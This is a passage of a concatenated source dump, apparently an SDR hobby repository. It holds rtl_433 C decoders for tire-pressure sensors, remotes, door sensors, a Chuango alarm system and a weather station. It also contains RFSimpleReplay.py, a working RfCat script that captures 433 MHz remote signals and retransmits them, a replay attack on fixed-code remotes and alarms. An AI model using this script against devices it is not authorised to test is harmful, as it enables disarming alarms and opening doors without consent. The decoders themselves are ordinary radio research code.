*/ 51 | if (b[7] != crc8(b, 7, 0x07, 0xf0)) { 52 | return 0; 53 | } 54 | 55 | local_time_str(0, time_str); 56 | 57 | /* Get serial number id */ 58 | serial_id = (b[1]&0x0F) << 24 | b[2] << 16 | b[3] << 8 | b[4]; 59 | sprintf(id_str, "%07X", serial_id); 60 | flags = (b[0]&0x0F) << 4 | b[1] >> 4; 61 | sprintf(flags_str, "%02x", flags); 62 | 63 | pressure = b[5] * 25; 64 | temperature = b[6] - 50; 65 | 66 | if (debug_output >= 1) { 67 | fprintf(stderr, "Schrader TPMS decoder\n"); 68 | bitbuffer_print(bitbuffer); 69 | fprintf(stderr, "id = 0x%X\n", serial_id); 70 | fprintf(stderr, "CRC = %x\n", crc8(b, 7, 0x07, 0xf0)); 71 | } 72 | 73 | data = data_make("time", "", DATA_STRING, time_str, 74 | "model", "", DATA_STRING, "Schrader", 75 | "type", "", DATA_STRING, "TPMS", 76 | "flags", "", DATA_STRING, flags_str, 77 | "id", "ID", DATA_STRING, id_str, 78 | "pressure_bar", "Pressure", DATA_FORMAT, "%.03f bar", DATA_DOUBLE, (double)pressure/1000.0, 79 | "temperature_C", "Temperature", DATA_FORMAT, "%.0f C", DATA_DOUBLE, (double)temperature, 80 | "mic", "Integrity", DATA_STRING, "CRC", 81 | NULL); 82 | 83 | data_acquired_handler(data); 84 | return 0; 85 | } 86 | 87 | static char *output_fields[] = { 88 | "time", 89 | "model", 90 | "type", 91 | "id", 92 | "flags", 93 | "pressure_bar", 94 | "temperature_C", 95 | "mic", 96 | NULL 97 | }; 98 | 99 | r_device schraeder = { 100 | .name = "Schrader TPMS", 101 | .modulation = OOK_PULSE_MANCHESTER_ZEROBIT, 102 | .short_limit = 120, 103 | .long_limit = 0, 104 | .reset_limit = 480, 105 | .json_callback = &schraeder_callback, 106 | .disabled = 0, 107 | .fields = output_fields, 108 | }; 109 | -------------------------------------------------------------------------------- /rtl_433/src/devices/generic_remote.c: -------------------------------------------------------------------------------- 1 | /* Generic remotes and sensors using PT2260/PT2262 SC2260/SC2262 EV1527 protocol 2 | * 3 | * Tested devices: 4 | * SC2260 5 | * EV1527 6 | * 7 | * Copyright (C) 2015 Tommy Vestermark 8 | * Copyright (C) 2015 nebman 9 | * This program is free software; you can redistribute it and/or modify 10 | * it under the terms of the GNU General Public License as published by 11 | * the Free Software Foundation; either version 2 of the License, or 12 | * (at your option) any later version. 13 | */ 14 | #include "rtl_433.h" 15 | #include "pulse_demod.h" 16 | #include "data.h" 17 | #include "util.h" 18 | 19 | static int generic_remote_callback(bitbuffer_t *bitbuffer) { 20 | bitrow_t *bb = bitbuffer->bb; 21 | uint8_t *b = bb[0]; 22 | data_t *data; 23 | char time_str[LOCAL_TIME_BUFLEN]; 24 | char tristate[23]; 25 | char *p = tristate; 26 | 27 | //invert bits, short pulse is 0, long pulse is 1 28 | b[0] = ~b[0]; 29 | b[1] = ~b[1]; 30 | b[2] = ~b[2]; 31 | 32 | unsigned bits = bitbuffer->bits_per_row[0]; 33 | 34 | // Validate package 35 | if ((bits == 25) 36 | && (b[3] & 0x80) // Last bit (MSB here) is always 1 37 | && (b[0] || b[1]) // Reduce false positives. ID 0x0000 not supported 38 | && (b[2]) // Reduce false positives. CMD 0x00 not supported 39 | ) { 40 | 41 | uint32_t ID_16b = b[0] << 8 | b[1]; 42 | unsigned char CMD_8b = b[2]; 43 | 44 | // fprintf(stdout, "Generic remote keypress / sensor\n"); 45 | // fprintf(stdout, "ID 16bit = 0x%04X\n", ID_16b); 46 | // fprintf(stdout, "CMD 8bit = 0x%02X\n", CMD_8b); 47 | 48 | 49 | // output tristate coding 50 | 51 | uint32_t FULL = b[0] << 16 | b[1] << 8 | b[2]; 52 | char c; 53 | 54 | // fprintf(stdout, "TRISTATE = "); 55 | for (signed char i=22; i>=0; i-=2) { 56 | 57 | switch ((FULL>>i) & 0x03) { 58 | case 0x00: c = '0'; break; 59 | case 0x01: c = 'F'; break; 60 | case 0x02: c = '!'; break; // tristate 10 is invalid code for SC226x but valid in EV1527 61 | case 0x03: c = '1'; break; 62 | default: c = '?'; break; // not possible anyway 63 | } 64 | *p++=c; 65 | *p = '\0'; 66 | 67 | 68 | //fputc(c, stdout); 69 | } 70 | // fprintf(stdout, "\n"); 71 | local_time_str(0, time_str); 72 | 73 | // fprintf(stdout, "ID 16bit = 0x%04X\n", ID_16b); 74 | // fprintf(stdout, "CMD 8bit = 0x%02X\n", CMD_8b); 75 | 76 | data = data_make( 77 | "time", "", DATA_STRING, time_str, 78 | "model", "", DATA_STRING, "Generic Remote", 79 | "id", "House Code", DATA_INT, ID_16b, 80 | "cmd", "Command", DATA_INT, CMD_8b, 81 | "tristate", "Tri-State", DATA_STRING, tristate, 82 | NULL); 83 | 84 | data_acquired_handler(data); 85 | 86 | 87 | return 1; 88 | } 89 | return 0; 90 | } 91 | 92 | 93 | PWM_Precise_Parameters pwm_precise_parameters_generic = { 94 | .pulse_tolerance = 50, 95 | .pulse_sync_width = 0, // No sync bit used 96 | }; 97 | 98 | r_device generic_remote = { 99 | .name = "Generic Remote SC226x EV1527", 100 | .modulation = OOK_PULSE_PWM_PRECISE, 101 | .short_limit = 464, 102 | .long_limit = 1404, 103 | .reset_limit = 1800, 104 | .json_callback = &generic_remote_callback, 105 | .disabled = 0, 106 | .demod_arg = (uintptr_t)&pwm_precise_parameters_generic, 107 | }; 108 | -------------------------------------------------------------------------------- /rtl_433/src/devices/proove.c: -------------------------------------------------------------------------------- 1 | /* Proove 2 | * 3 | * 4 | * Tested devices: 5 | * Magnetic door & window sensor 6 | * 7 | * From http://elektronikforumet.com/wiki/index.php/RF_Protokoll_-_Proove_self_learning 8 | * Proove packet structure (32 bits): 9 | * HHHH HHHH HHHH HHHH HHHH HHHH HHGO CCEE 10 | * H = The first 26 bits are transmitter unique codes, and it is this code that the reciever “learns” to recognize. 11 | * G = Group code. Set to 0 for on, 1 for off. 12 | * O = On/Off bit. Set to 0 for on, 1 for off. 13 | * C = Channel bits. 14 | * E = Unit bits. Device to be turned on or off. Unit #1 = 00, #2 = 01, #3 = 10. 15 | * Physical layer. 16 | * Every bit in the packets structure is sent as two physical bits. 17 | * Where the second bit is the inverse of the first, i.e. 0 -> 01 and 1 -> 10. 18 | * Example: 10101110 is sent as 1001100110101001 19 | * The sent packet length is thus 64 bits. 20 | * A message is made up by a Sync bit followed by the Packet bits and ended by a Pause bit. 21 | * Every message is repeated four times. 22 | * 23 | * Copyright (C) 2016 Ask Jakobsen 24 | * This program is free software; you can redistribute it and/or modify 25 | * it under the terms of the GNU General Public License as published by 26 | * the Free Software Foundation; either version 2 of the License, or 27 | * (at your option) any later version. 28 | */ 29 | #include "rtl_433.h" 30 | #include "data.h" 31 | #include "util.h" 32 | 33 | static int proove_callback(bitbuffer_t *bitbuffer) { 34 | data_t *data; 35 | char time_str[LOCAL_TIME_BUFLEN]; 36 | 37 | /* Reject codes of wrong length */ 38 | if (bitbuffer->bits_per_row[1] != 64) 39 | return 0; 40 | 41 | bitbuffer_t databits = {0}; 42 | unsigned pos = bitbuffer_manchester_decode(bitbuffer, 1, 0, &databits, 64); 43 | 44 | /* Reject codes when Manchester decoding fails */ 45 | if (pos != 64) 46 | return 0; 47 | 48 | /* bitbuffer_print(&databits); */ 49 | 50 | bitrow_t *bb = databits.bb; 51 | uint8_t *b = bb[0]; 52 | 53 | uint32_t sensor_id = (b[0] << 18) | (b[1] << 10) | (b[2] << 2) | (b[3]>>6); // ID 26 bits 54 | uint32_t group_code = (b[3] >> 5) & 1; 55 | uint32_t on_bit = (b[3] >> 4) & 1; 56 | uint32_t channel_code = (b[3] >> 2) & 0x03; 57 | uint32_t unit_bit = (b[3] & 0x03); 58 | 59 | /* Get time now */ 60 | local_time_str(0, time_str); 61 | 62 | data = data_make("time", "", DATA_STRING, time_str, 63 | "model", "", DATA_STRING, "Proove", 64 | "id", "House Code", DATA_INT, sensor_id, 65 | "channel", "Channel", DATA_INT, channel_code, 66 | "state", "State", DATA_STRING, on_bit ? "OFF" : "ON", 67 | "unit", "Unit", DATA_INT, unit_bit, 68 | NULL); 69 | 70 | data_acquired_handler(data); 71 | 72 | return 0; 73 | } 74 | 75 | static char *output_fields[] = { 76 | "time", 77 | "model", 78 | "id", 79 | "channel", 80 | "state", 81 | "unit", 82 | NULL 83 | }; 84 | 85 | r_device proove = { 86 | .name = "Proove", 87 | .modulation = OOK_PULSE_PPM_RAW, 88 | .short_limit = 380, 89 | .long_limit = 1400, 90 | .reset_limit = 2800, 91 | .json_callback = &proove_callback, 92 | .disabled = 0, 93 | .demod_arg = 0, 94 | .fields = output_fields 95 | }; 96 | -------------------------------------------------------------------------------- /RfCatHelpers/RFSimpleReplay.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | from rflib import * 5 | from struct import * 6 | import bitstring 7 | import operator 8 | import argparse 9 | import time 10 | import pickle 11 | 12 | parser = argparse.ArgumentParser(description='Dumb application to replay a signal',version="0.1-bricktop") 13 | parser.add_argument('-f', action="store", default="433880000", dest="baseFreq",help='Target frequency to listen for remote (default 433880000)',type=int) 14 | parser.add_argument('-r', action="store", dest="baudRate",default=4800,help='Baudrate, defaults to 4800',type=int) 15 | parser.add_argument('-n', action="store", dest="numSignals",default=3,help='Number of signals to capture before replaying',type=int) 16 | parser.add_argument('-i', action="store", default="24000", dest="chanWidth",help='Width of each channel (lowest being 24000 -- default)',type=int) 17 | parser.add_argument('-o', action="store", default="", dest="outFile",help='output file to save to') 18 | parser.add_argument('-p', action="store", default="100", dest="power",help='Power level for re-transmitting',type=int) 19 | parser.add_argument('-m', action="store", default="-40", dest="minRSSI",help='Minimum RSSI db to accept signal',type=int) 20 | parser.add_argument('-c', action="store", default="60000", dest="chanBW",help='Channel BW for RX',type=int) 21 | parser.add_argument('-k', action="store", dest="waitForKeypress", default=True,help='Wait for keypress before resending') 22 | results = parser.parse_args() 23 | 24 | rawCapture = []; 25 | print "Configuring RfCat" 26 | d = RfCat() 27 | d.setMdmModulation(MOD_ASK_OOK) 28 | d.setFreq(results.baseFreq) 29 | d.setMdmSyncMode(0) 30 | d.setMdmDRate(results.baudRate) 31 | d.setMdmChanBW(results.chanBW) 32 | d.setMdmChanSpc(results.chanWidth) 33 | d.setChannel(0) 34 | d.setPower(results.power) 35 | d.lowball(1) 36 | 37 | print "Searching..." 38 | while True: 39 | try: 40 | 41 | y, t = d.RFrecv(1) 42 | sampleString=y.encode('hex') 43 | #print sampleString 44 | strength= 0 - ord(str(d.getRSSI())) 45 | 46 | #sampleString = re.sub(r'((f)\2{8,})', '',sampleString) 47 | if (re.search(r'((0)\2{15,})', sampleString)): 48 | print "Signal Strength:" + str(strength) 49 | if(strength > results.minRSSI): 50 | rawCapture.append(sampleString) 51 | print "Found " + str(sampleString) 52 | if(len(rawCapture) >= results.numSignals): 53 | break; 54 | 55 | 56 | 57 | 58 | except ChipconUsbTimeoutException: 59 | pass 60 | except KeyboardInterrupt: 61 | break 62 | print "Saving phase" 63 | outputCapture = rawCapture 64 | if(results.outFile != ''): 65 | pickle.dump(outputCapture, open(results.outFile,"wb")) 66 | print "Send Phase..." 67 | #print rawCapture 68 | emptykey = '\x00\x00\x00\x00\x00\x00\x00' 69 | d.makePktFLEN(len(emptykey)) 70 | d.RFxmit(emptykey) 71 | while True: 72 | try: 73 | freq = raw_input("Press to resend or type the frequency you wish to send on now:") 74 | if(freq != ''): 75 | d.setFreq(int(freq)) 76 | 77 | for i in range(0,len(rawCapture)): 78 | key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes() 79 | if(results.waitForKeypress == True): 80 | raw_input(" Press any key to send " + str(i+1) + " of " + str(len(rawCapture))) 81 | d.makePktFLEN(len(key_packed)) 82 | d.RFxmit(key_packed) 83 | print "Sent " + str(i+1) + " of " + str(len(rawCapture)) 84 | except KeyboardInterrupt: 85 | print "Bye!" 86 | d.setModeIDLE() 87 | sys.exit() 88 | break; 89 | print "exiting." 90 | d.setModeIDLE() 91 | -------------------------------------------------------------------------------- /rtl_433/src/devices/chuango.c: -------------------------------------------------------------------------------- 1 | /* Chuango Security Technology Corporation 2 | * 3 | * Tested devices: 4 | * G5 GSM/SMS/RFID Touch Alarm System (Alarm, Disarm, ...) 5 | * DWC-100 Door sensor (Default: Normal Zone) 6 | * DWC-102 Door sensor (Default: Normal Zone) 7 | * KP-700 Wireless Keypad (Arm, Disarm, Home Mode, Alarm!) 8 | * PIR-900 PIR sensor (Default: Home Mode Zone) 9 | * RC-80 Remote Control (Arm, Disarm, Home Mode, Alarm!) 10 | * SMK-500 Smoke sensor (Default: 24H Zone) 11 | * WI-200 Water sensor (Default: 24H Zone) 12 | * 13 | * Copyright (C) 2015 Tommy Vestermark 14 | * This program is free software; you can redistribute it and/or modify 15 | * it under the terms of the GNU General Public License as published by 16 | * the Free Software Foundation; either version 2 of the License, or 17 | * (at your option) any later version. 18 | */ 19 | #include "rtl_433.h" 20 | #include "pulse_demod.h" 21 | #include "data.h" 22 | #include "util.h" 23 | 24 | 25 | static int chuango_callback(bitbuffer_t *bitbuffer) { 26 | bitrow_t *bb = bitbuffer->bb; 27 | uint8_t *b = bb[0]; 28 | b[0] = ~b[0]; 29 | b[1] = ~b[1]; 30 | b[2] = ~b[2]; 31 | 32 | unsigned bits = bitbuffer->bits_per_row[0]; 33 | 34 | // Validate package 35 | if ((bits == 25) 36 | && (b[3] & 0x80) // Last bit (MSB here) is always 1 37 | && (b[0] || b[1] || (b[2] & 0xF0)) // Reduce false positives. ID 0x00000 not supported 38 | ) { 39 | uint32_t ID = (b[0] << 12) | (b[1] << 4) | (b[2] >> 4); // ID is 20 bits (Ad: "1 Million combinations" :-) 40 | char *CMD; 41 | uint32_t CMD_ID = b[2] & 0x0F; 42 | data_t *data; 43 | char time_str[LOCAL_TIME_BUFLEN]; 44 | 45 | switch(CMD_ID) { 46 | case 0xF: CMD = "?"; break; 47 | case 0xE: CMD = "?"; break; 48 | case 0xD: CMD = "Low Battery"; break; 49 | case 0xC: CMD = "?"; break; 50 | case 0xB: CMD = "24H Zone"; break; 51 | case 0xA: CMD = "Single Delay Zone"; break; 52 | case 0x9: CMD = "?"; break; 53 | case 0x8: CMD = "Arm"; break; 54 | case 0x7: CMD = "Normal Zone"; break; 55 | case 0x6: CMD = "Home Mode Zone"; break; 56 | case 0x5: CMD = "?"; break; 57 | case 0x4: CMD = "Home Mode"; break; 58 | case 0x3: CMD = "Tamper"; break; 59 | case 0x2: CMD = "Alarm"; break; 60 | case 0x1: CMD = "Disarm"; break; 61 | case 0x0: CMD = "Test"; break; 62 | default: CMD = ""; break; 63 | } 64 | local_time_str(0, time_str); 65 | data = data_make("time", "", DATA_STRING, time_str, 66 | "model", "", DATA_STRING, "Chuango Security Technology", 67 | "id", "ID", DATA_INT, ID, 68 | "cmd", "CMD", DATA_STRING, CMD, 69 | "cmd_id", "CMD_ID", DATA_INT, CMD_ID, 70 | NULL); 71 | 72 | data_acquired_handler(data); 73 | return 1; 74 | } 75 | return 0; 76 | } 77 | 78 | static char *output_fields[] = { 79 | "time", 80 | "model", 81 | "id", 82 | "cmd", 83 | "cmd_id", 84 | NULL 85 | }; 86 | 87 | PWM_Precise_Parameters pwm_precise_parameters = { 88 | .pulse_tolerance = 40, 89 | .pulse_sync_width = 0, // No sync bit used 90 | }; 91 | 92 | r_device chuango = { 93 | .name = "Chuango Security Technology", 94 | .modulation = OOK_PULSE_PWM_PRECISE, 95 | .short_limit = 568, // Pulse: Short 568µs, Long 1704µs 96 | .long_limit = 1704, // Gaps: Short 568µs, Long 1696µs 97 | .reset_limit = 1800, // Intermessage Gap 17200µs (individually for now) 98 | .json_callback = &chuango_callback, 99 | .disabled = 0, 100 | .demod_arg = (uintptr_t)&pwm_precise_parameters, 101 | }; 102 | -------------------------------------------------------------------------------- /rtl_433/src/devices/xc0348.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Digitech XC0348 weather station 3 | * Reports 1 row, 88 pulses 4 | * Format: ff ID ?X XX YY ZZ ?? ?? ?? UU CC 5 | * - ID: device id 6 | * - ?X XX: temperature, likely in 0.1C steps (.1 e7 == 8.7C, .1 ef == 9.5C) 7 | * - YY: percent in a single byte (for example 54 == 84%) 8 | * - ZZ: wind speed (00 == 0, 01 == 1.1km/s, ...) 9 | * - UU: wind direction: 00 is N, 02 is NE, 04 is E, etc. up to 0F is seems 10 | * - CC: checksum 11 | * 12 | * still unknown - rain, pressure 13 | */ 14 | 15 | #include "data.h" 16 | #include "rtl_433.h" 17 | #include "util.h" 18 | 19 | #define CRC_POLY 0x31 20 | #define CRC_INIT 0xff 21 | 22 | static const char* wind_directions[] = { 23 | "N", "NNE", "NE", 24 | "ENE", "E", "ESE", 25 | "SE", "SSE", "S", "SSW", "SW", 26 | "WSW", "W", "WNW", 27 | "NW", "NNW", 28 | }; 29 | 30 | static float get_temperature(const uint8_t* br) { 31 | const int temp_raw = (br[2] << 8) + br[3]; 32 | return ((temp_raw & 0x0fff) - 0x190) / 10.0; 33 | } 34 | 35 | static int get_humidity(const uint8_t* br) { 36 | return br[4]; 37 | } 38 | 39 | static const char* get_wind_direction(const uint8_t* br) { 40 | return wind_directions[br[9] & 0x0f]; 41 | } 42 | 43 | static float get_wind_speed(const uint8_t* br) { 44 | return br[5] * 1.1f; 45 | } 46 | 47 | static int digitech_ws_callback(bitbuffer_t *bitbuffer) { 48 | data_t *data; 49 | char time_str[LOCAL_TIME_BUFLEN]; 50 | local_time_str(0, time_str); 51 | 52 | if (bitbuffer->num_rows != 1) { 53 | return 0; 54 | } 55 | if (bitbuffer->bits_per_row[0] != 88) { 56 | return 0; 57 | } 58 | 59 | const uint8_t *br = bitbuffer->bb[0]; 60 | 61 | if (br[0] != 0xff) { 62 | // preamble missing 63 | return 0; 64 | } 65 | 66 | if (br[10] != crc8(br, 10, CRC_POLY, CRC_INIT)) { 67 | // crc mismatch 68 | return 0; 69 | } 70 | 71 | const float temperature = get_temperature(br); 72 | const int humidity = get_humidity(br); 73 | const char* direction = get_wind_direction(br); 74 | const float speed = get_wind_speed(br); 75 | const char device_id = br[1]; 76 | 77 | data = data_make("time", "", DATA_STRING, time_str, 78 | "model", "", DATA_STRING, "Digitech XC0348 weather station", 79 | "id", "", DATA_INT, device_id, 80 | "temperature_C", "Temperature", DATA_DOUBLE, temperature, 81 | "humidity", "Humidity", DATA_INT, humidity, 82 | "direction", "Wind direction", DATA_STRING, direction, 83 | "speed", "Wind speed", DATA_DOUBLE, speed, 84 | NULL); 85 | data_acquired_handler(data); 86 | return 1; 87 | } 88 | 89 | static char *output_fields[] = { 90 | "time", 91 | "model", 92 | "id", 93 | "temperature_C", 94 | "humidity", 95 | "direction", 96 | "speed", 97 | NULL 98 | }; 99 | 100 | r_device digitech_ws = { 101 | .name = "Digitech XC0348 Weather Station", 102 | .modulation = OOK_PULSE_PWM_RAW, 103 | .short_limit = 976, 104 | .long_limit = 2400, 105 | .reset_limit = 10520, 106 | .json_callback = &digitech_ws_callback, 107 | .disabled = 0, 108 | .demod_arg = 0, 109 | .fields = output_fields, 110 | }; 111 | -------------------------------------------------------------------------------- /rtl_433/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # rtl_433 is distributed in the hope that it will be useful, 2 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 3 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 4 | # GNU General Public License for more details. 5 | # 6 | # You should have received a copy of the GNU General Public License 7 | # along with GNU Radio; see the file COPYING. If not, write to 8 | # the Free Software Foundation, Inc., 51 Franklin Street, 9 | # Boston, MA 02110-1301, USA. 10 | 11 | 12 | ######################################################################## 13 | # Project setup 14 | ######################################################################## 15 | cmake_minimum_required(VERSION 2.6) 16 | project(rtl433 C) 17 | set (rtl433_VERSION_MAJOR 1) 18 | set (rtl433_VERSION_MINOR 0) 19 | 20 | #select the release build type by default to get optimization flags 21 | if(NOT CMAKE_BUILD_TYPE) 22 | set(CMAKE_BUILD_TYPE "Release") 23 | message(STATUS "Build type not specified: defaulting to release.") 24 | endif(NOT CMAKE_BUILD_TYPE) 25 | set(CMAKE_BUILD_TYPE ${CMAKE_BUILD_TYPE} CACHE STRING "") 26 | 27 | list(APPEND CMAKE_MODULE_PATH ${CMAKE_SOURCE_DIR}/cmake/Modules) 28 | 29 | ######################################################################## 30 | # Compiler specific setup 31 | ######################################################################## 32 | if(CMAKE_COMPILER_IS_GNUCC AND NOT WIN32) 33 | ADD_DEFINITIONS(-Wall) 34 | ADD_DEFINITIONS(-Wextra) 35 | ADD_DEFINITIONS(-Wno-unused) 36 | ADD_DEFINITIONS(-Wsign-compare) 37 | ADD_DEFINITIONS(-g3 -O0) 38 | ADD_DEFINITIONS(-std=gnu99) 39 | #http://gcc.gnu.org/wiki/Visibility 40 | add_definitions(-fvisibility=hidden) 41 | endif() 42 | 43 | ######################################################################## 44 | # Find build dependencies 45 | ######################################################################## 46 | find_package(PkgConfig) 47 | find_package(LibRTLSDR) 48 | 49 | ######################################################################## 50 | # Setup the include and linker paths 51 | ######################################################################## 52 | include_directories( 53 | ${CMAKE_SOURCE_DIR}/include 54 | ${LIBRTLSDR_INCLUDE_DIRS} 55 | ) 56 | 57 | ######################################################################## 58 | # Create uninstall target 59 | ######################################################################## 60 | configure_file( 61 | ${CMAKE_SOURCE_DIR}/cmake/cmake_uninstall.cmake.in 62 | ${CMAKE_CURRENT_BINARY_DIR}/cmake_uninstall.cmake 63 | @ONLY) 64 | 65 | add_custom_target(uninstall 66 | ${CMAKE_COMMAND} -P ${CMAKE_CURRENT_BINARY_DIR}/cmake_uninstall.cmake 67 | ) 68 | 69 | ######################################################################## 70 | # Add subdirectories 71 | ######################################################################## 72 | add_subdirectory(include) 73 | add_subdirectory(src) 74 | add_subdirectory(tests) 75 | 76 | # use space-separation format for the pc file 77 | STRING(REPLACE ";" " " RTL433_PC_CFLAGS "${RTL433_PC_CFLAGS}") 78 | STRING(REPLACE ";" " " RTL433_PC_LIBS "${RTL433_PC_LIBS}") 79 | 80 | # unset these vars to avoid hard-coded paths to cross environment 81 | IF(CMAKE_CROSSCOMPILING) 82 | UNSET(RTL433_PC_CFLAGS) 83 | UNSET(RTL433_PC_LIBS) 84 | ENDIF(CMAKE_CROSSCOMPILING) 85 | 86 | set(prefix ${CMAKE_INSTALL_PREFIX}) 87 | set(exec_prefix \${prefix}) 88 | set(libdir \${exec_prefix}/lib) 89 | set(includedir \${prefix}/include) 90 | 91 | INSTALL( 92 | FILES 93 | DESTINATION lib/pkgconfig 94 | ) 95 | -------------------------------------------------------------------------------- /rtl_433/include/bitbuffer.h: -------------------------------------------------------------------------------- 1 | /** 2 | * Bit buffer 3 | * 4 | * A two-dimensional bit buffer consisting of bytes 5 | * 6 | * Copyright (C) 2015 Tommy Vestermark 7 | * This program is free software; you can redistribute it and/or modify 8 | * it under the terms of the GNU General Public License as published by 9 | * the Free Software Foundation; either version 2 of the License, or 10 | * (at your option) any later version. 11 | */ 12 | 13 | #ifndef INCLUDE_BITBUFFER_H_ 14 | #define INCLUDE_BITBUFFER_H_ 15 | 16 | #include 17 | 18 | #define BITBUF_COLS 80 // Number of bytes in a column 19 | #define BITBUF_ROWS 25 20 | #define BITBUF_MAX_PRINT_BITS 50 // Maximum number of bits to print (in addition to hex values) 21 | 22 | typedef uint8_t bitrow_t[BITBUF_COLS]; 23 | typedef bitrow_t bitarray_t[BITBUF_ROWS]; 24 | 25 | /// Bit buffer 26 | typedef struct { 27 | uint16_t num_rows; // Number of active rows 28 | uint16_t bits_per_row[BITBUF_ROWS]; // Number of active bits per row 29 | bitarray_t bb; // The actual bits buffer 30 | } bitbuffer_t; 31 | 32 | 33 | /// Clear the content of the bitbuffer 34 | void bitbuffer_clear(bitbuffer_t *bits); 35 | 36 | /// Add a single bit at the end of the bitbuffer (MSB first) 37 | void bitbuffer_add_bit(bitbuffer_t *bits, int bit); 38 | 39 | /// Add a new row to the bitbuffer 40 | void bitbuffer_add_row(bitbuffer_t *bits); 41 | 42 | /// Extract (potentially unaligned) bytes from the bit buffer. Len is bits. 43 | void bitbuffer_extract_bytes(bitbuffer_t *bitbuffer, unsigned row, 44 | unsigned pos, uint8_t *out, unsigned len); 45 | 46 | /// Invert all bits in the bitbuffer (do not invert the empty bits) 47 | void bitbuffer_invert(bitbuffer_t *bits); 48 | 49 | /// Print the content of the bitbuffer 50 | void bitbuffer_print(const bitbuffer_t *bits); 51 | 52 | // Search the specified row of the bitbuffer, starting from bit 'start', for 53 | // the pattern provided. Return the location of the first match, or the end 54 | // of the row if no match is found. 55 | // The pattern starts in the high bit. For example if searching for 011011 56 | // the byte pointed to by 'pattern' would be 0xAC. (011011xx). 57 | unsigned bitbuffer_search(bitbuffer_t *bitbuffer, unsigned row, unsigned start, 58 | const uint8_t *pattern, unsigned pattern_bits_len); 59 | 60 | // Manchester decoding from one bitbuffer into another, starting at the 61 | // specified row and start bit. Decode at most 'max' data bits (i.e. 2*max) 62 | // bits from the input buffer). Return the bit position in the input row 63 | // (i.e. returns start + 2*outbuf->bits_per_row[0]). 64 | unsigned bitbuffer_manchester_decode(bitbuffer_t *inbuf, unsigned row, unsigned start, 65 | bitbuffer_t *outbuf, unsigned max); 66 | 67 | // Function to compare bitbuffer rows and count repetitions 68 | int compare_rows(bitbuffer_t *bits, unsigned row_a, unsigned row_b); 69 | unsigned count_repeats(bitbuffer_t *bits, unsigned row); 70 | 71 | /// Find a repeated row that has a minimum count of bits. 72 | /// Return the row index or -1. 73 | int bitbuffer_find_repeated_row(bitbuffer_t *bits, unsigned min_repeats, unsigned min_bits); 74 | 75 | 76 | /// Return a single bit from a bitrow at bit_idx position 77 | static inline uint8_t bitrow_get_bit(const bitrow_t bitrow, unsigned bit_idx) 78 | { 79 | return bitrow[bit_idx >> 3] >> (7 - (bit_idx & 7)) & 1; 80 | } 81 | 82 | /// Return a single byte from a bitrow at bit_idx position (which may be unaligned) 83 | static inline uint8_t bitrow_get_byte(const bitrow_t bitrow, unsigned bit_idx) 84 | { 85 | return ((bitrow[(bit_idx >> 3)] << (bit_idx & 7)) | 86 | (bitrow[(bit_idx >> 3) + 1] >> (8 - (bit_idx & 7)))); 87 | } 88 | 89 | #endif /* INCLUDE_BITBUFFER_H_ */ 90 | -------------------------------------------------------------------------------- /rtl_433/src/devices/tpms_ford.c: -------------------------------------------------------------------------------- 1 | /* FSK 8 byte Manchester encoded TPMS with simple checksum. 2 | * Seen on Ford Fiesta, Focus, ... 3 | * 4 | * Copyright (C) 2017 Christian W. Zuckschwerdt 5 | * 6 | * This program is free software; you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation; either version 2 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Packet nibbles: IIIIIIII PP TT FF CC 12 | * I = ID 13 | * P = likely Pressure 14 | * T = likely Temperature 15 | * F = Flags, (46: 87% 1e: 5% 06: 2% 4b: 1% 66: 1% 0e: 1% 44: 1%) 16 | * C = Checksum, SUM bytes 0 to 6 = byte 7 17 | */ 18 | 19 | #include "rtl_433.h" 20 | #include "pulse_demod.h" 21 | #include "util.h" 22 | 23 | // full preamble is 55 55 55 56 (inverted: aa aa aa a9) 24 | static const uint8_t preamble_pattern[2] = { 0xaa, 0xa9 }; // 16 bits 25 | 26 | static int tpms_ford_decode(bitbuffer_t *bitbuffer, unsigned row, unsigned bitpos) { 27 | char time_str[LOCAL_TIME_BUFLEN]; 28 | data_t *data; 29 | unsigned int start_pos; 30 | bitbuffer_t packet_bits = {0}; 31 | uint8_t *b; 32 | int id; 33 | char id_str[9]; 34 | int code; 35 | char code_str[7]; 36 | 37 | start_pos = bitbuffer_manchester_decode(bitbuffer, row, bitpos, &packet_bits, 160); 38 | // require 64 data bits 39 | if (start_pos-bitpos < 128) { 40 | return 0; 41 | } 42 | b = packet_bits.bb[0]; 43 | 44 | if ((b[0]+b[1]+b[2]+b[3]+b[4]+b[5]+b[6] & 0xff) != b[7]) { 45 | return 0; 46 | } 47 | 48 | id = b[0]<<24 | b[1]<<16 | b[2]<<8 | b[3]; 49 | sprintf(id_str, "%08x", id); 50 | 51 | code = b[4]<<16 | b[5]<<8 | b[6]; 52 | sprintf(code_str, "%06x", code); 53 | 54 | local_time_str(0, time_str); 55 | data = data_make( 56 | "time", "", DATA_STRING, time_str, 57 | "model", "", DATA_STRING, "Ford", 58 | "type", "", DATA_STRING, "TPMS", 59 | "id", "", DATA_STRING, id_str, 60 | "code", "", DATA_STRING, code_str, 61 | "mic", "", DATA_STRING, "CHECKSUM", 62 | NULL); 63 | 64 | data_acquired_handler(data); 65 | return 1; 66 | } 67 | 68 | static int tpms_ford_callback(bitbuffer_t *bitbuffer) { 69 | int row; 70 | unsigned bitpos; 71 | int events = 0; 72 | 73 | bitbuffer_invert(bitbuffer); 74 | 75 | for (row = 0; row < bitbuffer->num_rows; ++row) { 76 | bitpos = 0; 77 | // Find a preamble with enough bits after it that it could be a complete packet 78 | while ((bitpos = bitbuffer_search(bitbuffer, row, bitpos, 79 | (const uint8_t *)&preamble_pattern, 16)) + 144 <= 80 | bitbuffer->bits_per_row[row]) { 81 | events += tpms_ford_decode(bitbuffer, row, bitpos + 16); 82 | bitpos += 15; 83 | } 84 | } 85 | 86 | return events; 87 | } 88 | 89 | static char *output_fields[] = { 90 | "time", 91 | "model", 92 | "type", 93 | "id", 94 | "code", 95 | "mic", 96 | NULL 97 | }; 98 | 99 | r_device tpms_ford = { 100 | .name = "Ford TPMS", 101 | .modulation = FSK_PULSE_PCM, 102 | .short_limit = 52, // 12-13 samples @250k 103 | .long_limit = 52, // FSK 104 | 